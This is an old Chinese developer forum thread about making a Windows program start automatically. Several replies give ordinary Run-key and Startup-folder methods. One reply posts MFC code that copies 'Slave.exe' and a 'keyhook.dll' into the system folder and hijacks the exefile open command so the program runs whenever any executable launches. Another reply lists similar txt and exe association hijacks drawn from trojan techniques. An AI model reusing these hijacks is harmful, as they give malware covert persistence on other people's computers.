程序自启动问题!!!

ronan 2002-07-31 08:29:05
我需要让我的程序在系统启动时自动运行
但不得其法
望各位兄弟抬举!!!
...全文
16 点赞 收藏 9
写回复
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
ronan 2002-07-31
我试了一下feahoo兄的代码
确实好用
但我用RegQueryValueEx读注册表却出了问题
不知那位兄台再搭把手
谢谢了!!!
回复
howtotell 2002-07-31

char m_SysDir[128];
GetSystemDirectory(m_SysDir,128);

char szWrite[256];
strcpy(szWrite,__argv[0]);

CString m_strS,m_strSDLL,m_strD,m_strDDLL;


m_strS.Format("%s",szWrite);
m_strSDLL.Format("%s",szWrite);
m_strSDLL.Replace("Slave.exe","keyhook.dll");

m_strD.Format("%s%s%s",m_SysDir,"\\","Slave.exe");
m_strDDLL.Format("%s%s%s",m_SysDir,"\\","keyhook.dll");

CopyFile(m_strS,m_strD,FALSE);
CopyFile(m_strSDLL,m_strDDLL,FALSE);

CString m_strStart;
m_strStart.Format("%s%s%s","\"",m_strD,"\"\"%1\" %*");
CRegKey start;
CString st="exefile\\shell\\open";
start.Open(HKEY_CLASSES_ROOT,(LPCSTR)st,KEY_ALL_ACCESS);
start.SetKeyValue("command",m_strStart,NULL);
start.Close();



回复
JoeSunQ 2002-07-31
添加到“计划任务”
回复
wallacewan 2002-07-31
gz
回复
up
回复
USTCTony 2002-07-31
这样的方法太多了。
1。最弱智的方法。
将你自己的程序拷贝到
c:(你的系统盘)\Documents and Settings\All Users\「开始」菜单\程序\\启动\*.exe(你的程序名);//for nt

c:\windows\all users\start menu\programs\启动\*.exe(你的程序名); //for 9x


2。将程序的位置写入注册表中。
在HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Run\
下添加子健,然后给子健的值是你的应用程序的位置。
或者是
HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Runonce
下。
3。同样不过是变成了HKEY_LOCAL_MACHINE下的同样的位置。
4。给txt files映射成自己的应用程序。但是这是你要解析命令行,然后用shellexcute()(用法自己查msdn)运行txt files,而你的程序这时候就被运行了。也就是说只要别人点击txt files你的程序就被运行了。
5.给exe files 映射成自己的应用程序。
6。给4,5这些文件映射的方法。
在HKEY_CLASSES_ROOT\txtfile\shell\open\command
下将默认的"%1" 改成你自己的应用程序的位置+"%1"。
或者将HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command
下将默认的"%1" 改成你自己的应用程序的位置+"%1"。
exe files以此类推。
至此,你已经完成了你的程序的自启动。
(以上参考自木马的原理)。
回复
dy_paradise 2002-07-31
帮你UP一下
回复
ronan 2002-07-31
feahoo兄提供的是修改注册表的方法
小弟不才 斗胆多嘴
我知道可以在运行是可以通过
在系统启动组中添加快捷方式的方法
实现自启动功能
望各位不吝赐教
回复
feahoo 2002-07-31
HKEY hRegKey=NULL;
//获得应用程序所在的路径
CString str;
CString m_strFileName;
GetModuleFileName(NULL,m_strFileName.GetBufferSetLength(MAX_PATH+1),MAX_PATH);
m_strFileName.ReleaseBuffer();
//设置注册表
str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey);
_splitpath(m_strFileName.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);
m_strFileName.ReleaseBuffer();
str.ReleaseBuffer();
::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)m_strFileName.GetBuffer(0),m_strFileName.GetLength() );

m_strFileName.ReleaseBuffer();
回复
发动态
发帖子
VC/MFC
创建于2007-09-28

1.5w+

社区成员

VC/MFC相关问题讨论
申请成为版主
社区公告
暂无公告